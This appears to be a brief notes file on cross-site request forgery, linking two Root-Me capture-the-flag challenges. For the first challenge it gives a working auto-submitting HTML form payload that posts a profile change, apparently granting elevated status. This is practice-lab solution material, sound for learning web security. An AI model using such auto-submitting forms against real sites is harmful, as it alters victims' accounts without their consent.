

# CSRF

## Challenges

- **CSRF - 0 protection** : <https://www.root-me.org/en/Challenges/Web-Client/CSRF-0-protection>

```
<form id= "csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile"
method="post" enctype="multipart/form-data">
    <input type="text" name="username" value="ahmed">
    <input type="checkbox" name="status" checked>
</form>
<script>document.getElementById("csrf").submit()</script>
<script>
document.write('')
</script>
```

- **CSRF - token bypass** : <https://www.root-me.org/en/Challenges/Web-Client/CSRF-token-bypass>

## Notes